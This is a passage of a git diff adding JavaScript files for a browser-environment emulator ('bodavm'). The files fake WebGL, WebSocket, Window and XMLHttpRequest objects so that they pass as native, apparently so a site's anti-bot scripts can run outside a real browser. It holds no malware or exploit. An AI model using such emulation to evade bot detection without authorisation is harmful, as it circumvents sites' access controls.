"bindFramebuffer", {configurable:true, enumerable:true, writable:true, value:function bindFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindFramebuffer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "bindTexture", {configurable:true, enumerable:true, writable:true, value:function bindTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "bindTexture", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clear", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearColor", {configurable:true, enumerable:true, writable:true, value:function clearColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearColor", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearDepth", {configurable:true, enumerable:true, writable:true, value:function clearDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearDepth", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "clearStencil", {configurable:true, enumerable:true, writable:true, value:function clearStencil (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "clearStencil", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "colorMask", {configurable:true, enumerable:true, writable:true, value:function colorMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "colorMask", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "disableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function disableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "disableVertexAttribArray", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawArrays", {configurable:true, enumerable:true, writable:true, value:function drawArrays (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawArrays", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "drawElements", {configurable:true, enumerable:true, writable:true, value:function drawElements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "drawElements", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "enableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function enableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "enableVertexAttribArray", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "scissor", {configurable:true, enumerable:true, writable:true, value:function scissor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "scissor", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1f", {configurable:true, enumerable:true, writable:true, value:function uniform1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1f", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1fv", {configurable:true, enumerable:true, writable:true, value:function uniform1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1i", {configurable:true, enumerable:true, writable:true, value:function uniform1i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1i", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform1iv", {configurable:true, enumerable:true, writable:true, value:function uniform1iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform1iv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2f", {configurable:true, enumerable:true, writable:true, value:function uniform2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2f", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2fv", {configurable:true, enumerable:true, writable:true, value:function uniform2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2i", {configurable:true, enumerable:true, writable:true, value:function uniform2i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2i", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform2iv", {configurable:true, enumerable:true, writable:true, value:function uniform2iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform2iv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3f", {configurable:true, enumerable:true, writable:true, value:function uniform3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3f", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3fv", {configurable:true, enumerable:true, writable:true, value:function uniform3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3i", {configurable:true, enumerable:true, writable:true, value:function uniform3i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3i", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform3iv", {configurable:true, enumerable:true, writable:true, value:function uniform3iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform3iv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4f", {configurable:true, enumerable:true, writable:true, value:function uniform4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4f", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4fv", {configurable:true, enumerable:true, writable:true, value:function uniform4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4i", {configurable:true, enumerable:true, writable:true, value:function uniform4i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4i", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniform4iv", {configurable:true, enumerable:true, writable:true, value:function uniform4iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniform4iv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix2fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix2fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix3fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix3fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "uniformMatrix4fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "uniformMatrix4fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1f", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib1fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib1fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2f", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib2fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib2fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3f", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib3fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib3fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4f", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttrib4fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttrib4fv", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "vertexAttribPointer", {configurable:true, enumerable:true, writable:true, value:function vertexAttribPointer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "vertexAttribPointer", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "viewport", {configurable:true, enumerable:true, writable:true, value:function viewport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "viewport", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLRenderingContext', "makeXRCompatible", {configurable:true, enumerable:true, writable:true, value:function makeXRCompatible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLRenderingContext'].prototype, "WebGLRenderingContext", "makeXRCompatible", arguments)}},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/WebGLShader.js b/env_xbb_lastest_jsdom/env copy/WebGLShader.js new file mode 100644 index 00000000..0761270b --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/WebGLShader.js @@ -0,0 +1,3 @@ +// WebGLShader对象 +bodavm.memory.globalobj['WebGLShader'] = function WebGLShader(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShader'], "WebGLShader"); diff --git a/env_xbb_lastest_jsdom/env copy/WebGLShaderPrecisionFormat.js b/env_xbb_lastest_jsdom/env copy/WebGLShaderPrecisionFormat.js new file mode 100644 index 00000000..ddd6fe1b --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/WebGLShaderPrecisionFormat.js @@ -0,0 +1,6 @@ +// WebGLShaderPrecisionFormat对象 +bodavm.memory.globalobj['WebGLShaderPrecisionFormat'] = function WebGLShaderPrecisionFormat(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShaderPrecisionFormat'], "WebGLShaderPrecisionFormat"); +bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMin", {configurable:true, enumerable:true, get:function rangeMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMin_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMax", {configurable:true, enumerable:true, get:function rangeMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMax_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "precision", {configurable:true, enumerable:true, get:function precision (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "precision_get", arguments)}, set:undefined},'prototype'); diff --git a/env_xbb_lastest_jsdom/env copy/WebSocket.js b/env_xbb_lastest_jsdom/env copy/WebSocket.js new file mode 100644 index 00000000..e8dc2f3e --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/WebSocket.js @@ -0,0 +1,38 @@ +// WebSocket对象 +bodavm.memory.globalobj['WebSocket'] = function WebSocket(){ + if (!(this instanceof WebSocket)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebSocket': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if(arguments.length<1){ + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebSocket': 1 argument required, but only 0 present.")} + + } +// WebSocket对象 +bodavm.memory.globalobj['WebSocket'] = function WebSocket(){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebSocket': 1 argument required, but only 0 present.")} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebSocket'], "WebSocket"); +bodavm.memory.globalobj['WebSocket'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WebSocket'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", {configurable:false, enumerable:true, writable:false, value:2}); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", {configurable:false, enumerable:true, writable:false, value:3}); +bodavm.toolsFunc.defineProperty('WebSocket', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "url_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "readyState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "bufferedAmount", {configurable:true, enumerable:true, get:function bufferedAmount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "bufferedAmount_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onopen", {configurable:true, enumerable:true, get:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_get", arguments)}, set:function onopen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onopen_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onerror_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onclose_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "extensions", {configurable:true, enumerable:true, get:function extensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "extensions_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "protocol_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "onmessage_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "binaryType", {configurable:true, enumerable:true, get:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_get", arguments)}, set:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "binaryType_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "CONNECTING", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "OPEN", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSING", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "CLOSED", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "close", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('WebSocket', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebSocket'].prototype, "WebSocket", "send", arguments)}},'prototype'); + + + + diff --git a/env_xbb_lastest_jsdom/env copy/Window.js b/env_xbb_lastest_jsdom/env copy/Window.js new file mode 100644 index 00000000..e251d87d --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/Window.js @@ -0,0 +1,12 @@ +// Window对象 +bodavm.memory.globalobj['Window'] = function Window(){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")} +// debugger +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Window'], "Window"); +bodavm.memory.globalobj['Window'].prototype.__proto__=bodavm.memory.globalobj['WindowProperties'].prototype; +bodavm.memory.globalobj['Window'].__proto__=bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('Window', "TEMPORARY", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('Window', "PERSISTENT", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +// debugger + diff --git a/env_xbb_lastest_jsdom/env copy/WindowProperties.js b/env_xbb_lastest_jsdom/env copy/WindowProperties.js new file mode 100644 index 00000000..25915805 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/WindowProperties.js @@ -0,0 +1,9 @@ +bodavm.memory.globalobj['WindowProperties'] = function WindowProperties() { + return bodavm.toolsFunc.throwError("TypeError","Illegal constructor") + // throw ReferenceError(`WindowProperties is not defined + // at :1:100`) + ; +} +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowProperties'], 'WindowProperties') +bodavm.memory.globalobj['WindowProperties'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WindowProperties'].__proto__=bodavm.memory.globalobj['EventTarget']; diff --git a/env_xbb_lastest_jsdom/env copy/XMLHttpRequest.js b/env_xbb_lastest_jsdom/env copy/XMLHttpRequest.js new file mode 100644 index 00000000..4946da65 --- /dev/null +++ b/env_xbb_lastest_jsdom/env copy/XMLHttpRequest.js @@ -0,0 +1,41 @@ +// XMLHttpRequest对象 +bodavm.memory.globalobj['XMLHttpRequest'] = function XMLHttpRequest(){ + if (!(this instanceof XMLHttpRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XMLHttpRequest': Please use the 'new' operator, this DOM object constructor cannot be called as a function") + }; + if (arguments.length >1){ bodavm.toolsFunc.throwError('TypeError','XMLHttpRequest 被创建参数需注意')} + this._boarg= new bodaobj.window.XMLHttpRequest(arguments[0]) +} +// XMLHttpRequest对象 +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequest'], "XMLHttpRequest"); +bodavm.memory.globalobj['XMLHttpRequest'].prototype.__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype; +bodavm.memory.globalobj['XMLHttpRequest'].__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget']; +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", {configurable:false, enumerable:true, writable:false, value:0}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", {configurable:false, enumerable:true, writable:false, value:1}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", {configurable:false, enumerable:true, writable:false, value:2}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", {configurable:false, enumerable:true, writable:false, value:3}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", {configurable:false, enumerable:true, writable:false, value:4}); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "onreadystatechange", {configurable:true, enumerable:true, get:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_get", arguments)}, set:function onreadystatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "onreadystatechange_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "readyState_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "timeout", {configurable:true, enumerable:true, get:function timeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_get", arguments)}, set:function timeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "timeout_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "withCredentials", {configurable:true, enumerable:true, get:function withCredentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_get", arguments)}, set:function withCredentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "withCredentials_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "upload", {configurable:true, enumerable:true, get:function upload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "upload_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseURL", {configurable:true, enumerable:true, get:function responseURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseURL_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "status_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "statusText", {configurable:true, enumerable:true, get:function statusText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "statusText_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseType", {configurable:true, enumerable:true, get:function responseType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_get", arguments)}, set:function responseType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseType_set", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "response", {configurable:true, enumerable:true, get:function response (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "response_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseText", {configurable:true, enumerable:true, get:function responseText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseText_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "responseXML", {configurable:true, enumerable:true, get:function responseXML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "responseXML_get", arguments)}, set:undefined},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "UNSENT", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "OPENED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "HEADERS_RECEIVED", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "LOADING", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "DONE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "abort", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getAllResponseHeaders", {configurable:true, enumerable:true, writable:true, value:function getAllResponseHeaders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getAllResponseHeaders", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "getResponseHeader", {configurable:true, enumerable:true, writable:true, value:function getResponseHeader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", "getResponseHeader", arguments)}},'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequest', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequest'].prototype, "XMLHttpRequest", 